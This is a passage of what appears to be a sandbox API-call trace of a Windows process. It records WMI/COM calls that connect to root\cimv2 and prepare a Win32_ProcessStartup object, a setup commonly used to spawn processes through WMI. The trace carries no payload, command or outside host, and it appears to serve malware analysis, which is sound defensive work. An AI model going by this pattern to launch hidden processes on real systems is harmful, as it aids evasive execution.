[2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d9e8 | out: ppvObject=0x1bb7d9e8*=0x0) returned 0x80004002 [0159.129] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc15710, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d998 | out: ppvObject=0x1bb7d998*=0x1bc3fb00) returned 0x0 [0159.130] WbemDefPath:IUnknown:Release (This=0x1bc15710) returned 0x0 [0159.130] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3fb00, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d7a8 | out: ppvObject=0x1bb7d7a8*=0x1bc3fb00) returned 0x0 [0159.130] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3fb00, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d850 | out: ppvObject=0x1bb7d850*=0x0) returned 0x80004002 [0159.130] WbemDefPath:IUnknown:AddRef (This=0x1bc3fb00) returned 0x3 [0159.130] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3fb00, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7cef8 | out: ppvObject=0x1bb7cef8*=0x0) returned 0x80004002 [0159.130] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3fb00, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7ce80 | out: ppvObject=0x1bb7ce80*=0x0) returned 0x80004002 [0159.130] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3fb00, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7ce70 | out: ppvObject=0x1bb7ce70*=0x1bc15750) returned 0x0 [0159.130] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc15750, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ce98 | out: pCid=0x1bb7ce98*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0159.130] WbemDefPath:IUnknown:Release (This=0x1bc15750) returned 0x3 [0159.130] CoGetContextToken (in: pToken=0x1bb7cf20 | out: pToken=0x1bb7cf20) returned 0x0 [0159.130] CoGetContextToken (in: pToken=0x1bb7d3a0 | out: pToken=0x1bb7d3a0) returned 0x0 [0159.130] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3fb00, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d460 | out: ppvObject=0x1bb7d460*=0x0) returned 0x80004002 [0159.130] WbemDefPath:IUnknown:Release (This=0x1bc3fb00) returned 0x2 [0159.130] WbemDefPath:IUnknown:Release (This=0x1bc3fb00) returned 0x1 [0159.131] CoGetContextToken (in: pToken=0x1bb7e1c0 | out: pToken=0x1bb7e1c0) returned 0x0 [0159.131] CoGetContextToken (in: pToken=0x1bb7e0c0 | out: pToken=0x1bb7e0c0) returned 0x0 [0159.131] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3fb00, riid=0x1bb7e220*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e1f0 | out: ppvObject=0x1bb7e1f0*=0x1bc3fb00) returned 0x0 [0159.131] WbemDefPath:IUnknown:AddRef (This=0x1bc3fb00) returned 0x3 [0159.131] WbemDefPath:IUnknown:Release (This=0x1bc3fb00) returned 0x2 [0159.131] WbemDefPath:IWbemPath:SetText (This=0x1bc3fb00, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0159.131] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3fb00, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0159.131] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3fb00, lFlags=4, puBuffLength=0x1bb7e598*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e598*=0xf, pszText=0x0) returned 0x0 [0159.131] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3fb00, lFlags=4, puBuffLength=0x1bb7e598*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e598*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0159.131] CoGetObjectContext (in: riid=0x26fba00*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e618 | out: ppv=0x1bb7e618*=0x1a943398) returned 0x0 [0159.131] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e608 | out: pAptType=0x1bb7e608*=1) returned 0x0 [0159.131] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x26fb9e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e610 | out: ppvObject=0x1bb7e610*=0x0) returned 0x80004002 [0159.131] IUnknown:Release (This=0x1a943398) returned 0x1 [0159.132] CoGetClassObject (in: rclsid=0x1a9ccf38*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7dbc0 | out: ppv=0x1bb7dbc0*=0x1bc15850) returned 0x0 [0159.132] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc15850, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7dc08 | out: ppvObject=0x1bb7dc08*=0x0) returned 0x80004002 [0159.132] WbemLocator:IClassFactory:CreateInstance (in: This=0x1bc15850, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dbb8 | out: ppvObject=0x1bb7dbb8*=0x1bc15870) returned 0x0 [0159.132] WbemLocator:IUnknown:Release (This=0x1bc15850) returned 0x0 [0159.132] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc15870, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d9c8 | out: ppvObject=0x1bb7d9c8*=0x1bc15870) returned 0x0 [0159.133] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc15870, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7da70 | out: ppvObject=0x1bb7da70*=0x0) returned 0x80004002 [0159.133] WbemLocator:IUnknown:AddRef (This=0x1bc15870) returned 0x3 [0159.133] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc15870, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d118 | out: ppvObject=0x1bb7d118*=0x0) returned 0x80004002 [0159.133] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc15870, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7d0a0 | out: ppvObject=0x1bb7d0a0*=0x0) returned 0x80004002 [0159.133] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc15870, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d090 | out: ppvObject=0x1bb7d090*=0x0) returned 0x80004002 [0159.133] CoGetContextToken (in: pToken=0x1bb7d140 | out: pToken=0x1bb7d140) returned 0x0 [0159.133] CoGetContextToken (in: pToken=0x1bb7d5c0 | out: pToken=0x1bb7d5c0) returned 0x0 [0159.133] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc15870, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d680 | out: ppvObject=0x1bb7d680*=0x0) returned 0x80004002 [0159.133] WbemLocator:IUnknown:Release (This=0x1bc15870) returned 0x2 [0159.133] WbemLocator:IUnknown:Release (This=0x1bc15870) returned 0x1 [0159.133] CoGetContextToken (in: pToken=0x1bb7e170 | out: pToken=0x1bb7e170) returned 0x0 [0159.133] CoGetContextToken (in: pToken=0x1bb7e070 | out: pToken=0x1bb7e070) returned 0x0 [0159.133] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc15870, riid=0x1bb7e1d0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1bb7e1a0 | out: ppvObject=0x1bb7e1a0*=0x1bc15870) returned 0x0 [0159.133] WbemLocator:IUnknown:AddRef (This=0x1bc15870) returned 0x3 [0159.134] WbemLocator:IUnknown:Release (This=0x1bc15870) returned 0x2 [0159.134] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3fb00, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0159.134] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3fb00, lFlags=8, puBuffLength=0x1bb7e598*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e598*=0xf, pszText=0x0) returned 0x0 [0159.134] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3fb00, lFlags=8, puBuffLength=0x1bb7e598*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e598*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0159.134] CoCreateInstance (in: rclsid=0x7fef422b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef422b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1bb7e210 | out: ppv=0x1bb7e210*=0x1bc15890) returned 0x0 [0159.134] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1bc15890, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1bb7e438 | out: ppNamespace=0x1bb7e438*=0x1bc55930) returned 0x0 [0159.363] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc55930, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7e088 | out: ppvObject=0x1bb7e088*=0x1bbdcb00) returned 0x0 [0159.363] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1bbdcb00, pProxy=0x1bc55930, pAuthnSvc=0x1bb7e150, pAuthzSvc=0x1bb7e0d0, pServerPrincName=0x1bb7e100, pAuthnLevel=0x1bb7e0d4, pImpLevel=0x1bb7e0dc, pAuthInfo=0x1bb7e108, pCapabilites=0x1bb7e0d8 | out: pAuthnSvc=0x1bb7e150*=0xa, pAuthzSvc=0x1bb7e0d0*=0x0, pServerPrincName=0x1bb7e100, pAuthnLevel=0x1bb7e0d4*=0x6, pImpLevel=0x1bb7e0dc*=0x2, pAuthInfo=0x1bb7e108, pCapabilites=0x1bb7e0d8*=0x1) returned 0x0 [0159.363] WbemLocator:IUnknown:Release (This=0x1bbdcb00) returned 0x1 [0159.363] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc55930, riid=0x7fef422aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7e020 | out: ppvObject=0x1bb7e020*=0x1bbdcb40) returned 0x0 [0159.363] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc55930, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7e030 | out: ppvObject=0x1bb7e030*=0x1bbdcb00) returned 0x0 [0159.363] WbemLocator:IClientSecurity:SetBlanket (This=0x1bbdcb00, pProxy=0x1bc55930, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0159.364] WbemLocator:IUnknown:Release (This=0x1bbdcb00) returned 0x2 [0159.364] WbemLocator:IUnknown:Release (This=0x1bbdcb40) returned 0x1 [0159.364] CoTaskMemFree (pv=0x1bc19470) [0159.364] WbemLocator:IUnknown:AddRef (This=0x1bc55930) returned 0x2 [0159.364] WbemLocator:IUnknown:Release (This=0x1bc15890) returned 0x0 [0159.364] CoGetContextToken (in: pToken=0x1bb7d290 | out: pToken=0x1bb7d290) returned 0x0 [0159.364] CoGetContextToken (in: pToken=0x1bb7d710 | out: pToken=0x1bb7d710) returned 0x0 [0159.364] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc55930, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d690 | out: ppvObject=0x1bb7d690*=0x1bbdcb10) returned 0x0 [0159.365] WbemLocator:IRpcOptions:Query (in: This=0x1bbdcb10, pPrx=0x1bc158f0, dwProperty=2, pdwValue=0x1bb7d7c0 | out: pdwValue=0x1bb7d7c0) returned 0x80004002 [0159.365] WbemLocator:IUnknown:Release (This=0x1bbdcb10) returned 0x2 [0159.365] CoGetContextToken (in: pToken=0x1bb7dde0 | out: pToken=0x1bb7dde0) returned 0x0 [0159.365] CoGetContextToken (in: pToken=0x1bb7dce0 | out: pToken=0x1bb7dce0) returned 0x0 [0159.365] WbemLocator:IUnknown:QueryInterface (in: This=0x1bc55930, riid=0x1bb7de40*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1bb7dc60 | out: ppvObject=0x1bb7dc60*=0x1bc55930) returned 0x0 [0159.365] WbemLocator:IUnknown:Release (This=0x1bc55930) returned 0x2 [0159.365] SysStringLen (param_1=0x0) returned 0x0 [0159.365] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3fec0, lFlags=2, puBuffLength=0x1bb7e678*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e678*=0x15, pszText=0x0) returned 0x0 [0159.365] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3fec0, lFlags=2, puBuffLength=0x1bb7e678*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1bb7e678*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0159.365] IWbemServices:GetObject (in: This=0x1bc55930, strObjectPath="Win32_ProcessStartup", lFlags=0, pCtx=0x0, ppObject=0x1bb7e4c0*=0x0, ppCallResult=0x0 | out: ppObject=0x1bb7e4c0*=0x1bbb5ee0, ppCallResult=0x0) returned 0x0 [0159.367] IWbemClassObject:Get (in: This=0x1bbb5ee0, wszName="__PATH", lFlags=0, pVal=0x1bb7e590*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e6f8*=0, plFlavor=0x1bb7e6f0*=0 | out: pVal=0x1bb7e590*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup", varVal2=0x0), pType=0x1bb7e6f8*=8, plFlavor=0x1bb7e6f0*=64) returned 0x0 [0159.367] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0159.367] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x58 [0159.367] CoGetObjectContext (in: riid=0x26fba00*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e5c8 | out: ppv=0x1bb7e5c8*=0x1a943398) returned 0x0 [0159.367] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e5b8 | out: pAptType=0x1bb7e5b8*=1) returned 0x0 [0159.367] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x26fb9e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e5c0 | out: ppvObject=0x1bb7e5c0*=0x0) returned 0x80004002 [0159.367] IUnknown:Release (This=0x1a943398) returned 0x1 [0159.369] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d9e0 | out: ppv=0x1bb7d9e0*=0x1bc15890) returned 0x0 [0159.369] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc15890, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7da28 | out: ppvObject=0x1bb7da28*=0x0) returned 0x80004002 [0159.369] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc15890, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d9d8 | out: ppvObject=0x1bb7d9d8*=0x1bc3f680) returned 0x0 [0159.369] WbemDefPath:IUnknown:Release (This=0x1bc15890) returned 0x0 [0159.369] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f680, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d7e8 | out: ppvObject=0x1bb7d7e8*=0x1bc3f680) returned 0x0 [0159.369] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f680, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d890 | out: ppvObject=0x1bb7d890*=0x0) returned 0x80004002 [0159.369] WbemDefPath:IUnknown:AddRef (This=0x1bc3f680) returned 0x3 [0159.369] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f680, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7cf38 | out: ppvObject=0x1bb7cf38*=0x0) returned 0x80004002 [0159.369] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f680, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cec0 | out: ppvObject=0x1bb7cec0*=0x0) returned 0x80004002 [0159.369] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f680, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7ceb0 | out: ppvObject=0x1bb7ceb0*=0x1bc158b0) returned 0x0 [0159.369] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc158b0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ced8 | out: pCid=0x1bb7ced8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0159.370] WbemDefPath:IUnknown:Release (This=0x1bc158b0) returned 0x3 [0159.370] CoGetContextToken (in: pToken=0x1bb7cf60 | out: pToken=0x1bb7cf60) returned 0x0 [0159.370] CoGetContextToken (in: pToken=0x1bb7d3e0 | out: pToken=0x1bb7d3e0) returned 0x0 [0159.370] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f680, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d4a0 | out: ppvObject=0x1bb7d4a0*=0x0) returned 0x80004002 [0159.370] WbemDefPath:IUnknown:Release (This=0x1bc3f680) returned 0x2 [0159.370] WbemDefPath:IUnknown:Release (This=0x1bc3f680) returned 0x1 [0159.370] CoGetContextToken (in: pToken=0x1bb7e200 | out: pToken=0x1bb7e200) returned 0x0 [0159.370] CoGetContextToken (in: pToken=0x1bb7e100 | out: pToken=0x1bb7e100) returned 0x0 [0159.370] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f680, riid=0x1bb7e260*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e230 | out: ppvObject=0x1bb7e230*=0x1bc3f680) returned 0x0 [0159.370] WbemDefPath:IUnknown:AddRef (This=0x1bc3f680) returned 0x3 [0159.370] WbemDefPath:IUnknown:Release (This=0x1bc3f680) returned 0x2 [0159.370] WbemDefPath:IWbemPath:SetText (This=0x1bc3f680, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x0 [0159.370] IWbemClassObject:Get (in: This=0x1bbb5ee0, wszName="CreateFlags", lFlags=0, pVal=0x1bb7e610*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2723d78*=0, plFlavor=0x2723d7c*=0 | out: pVal=0x1bb7e610*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2723d78*=19, plFlavor=0x2723d7c*=0) returned 0x0 [0159.370] IWbemClassObject:Get (in: This=0x1bbb5ee0, wszName="CreateFlags", lFlags=0, pVal=0x1bb7e600*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2723d78*=19, plFlavor=0x2723d7c*=0 | out: pVal=0x1bb7e600*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2723d78*=19, plFlavor=0x2723d7c*=0) returned 0x0 [0159.370] IWbemClassObject:Put (This=0x1bbb5ee0, wszName="CreateFlags", lFlags=0, pVal=0x1bb7e650*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x8, varVal2=0x0), Type=0) returned 0x0 [0159.371] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc40340, puCount=0x1bb7e5e0 | out: puCount=0x1bb7e5e0*=0x0) returned 0x0 [0159.371] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a97f9d0, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0159.371] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e598*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e598*=0xf, pszText=0x0) returned 0x0 [0159.371] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e598*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e598*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0159.371] CoGetObjectContext (in: riid=0x26fba00*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e4f8 | out: ppv=0x1bb7e4f8*=0x1a943398) returned 0x0 [0159.371] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e4e8 | out: pAptType=0x1bb7e4e8*=1) returned 0x0 [0159.371] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x26fb9e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e4f0 | out: ppvObject=0x1bb7e4f0*=0x0) returned 0x80004002 [0159.371] IUnknown:Release (This=0x1a943398) returned 0x1 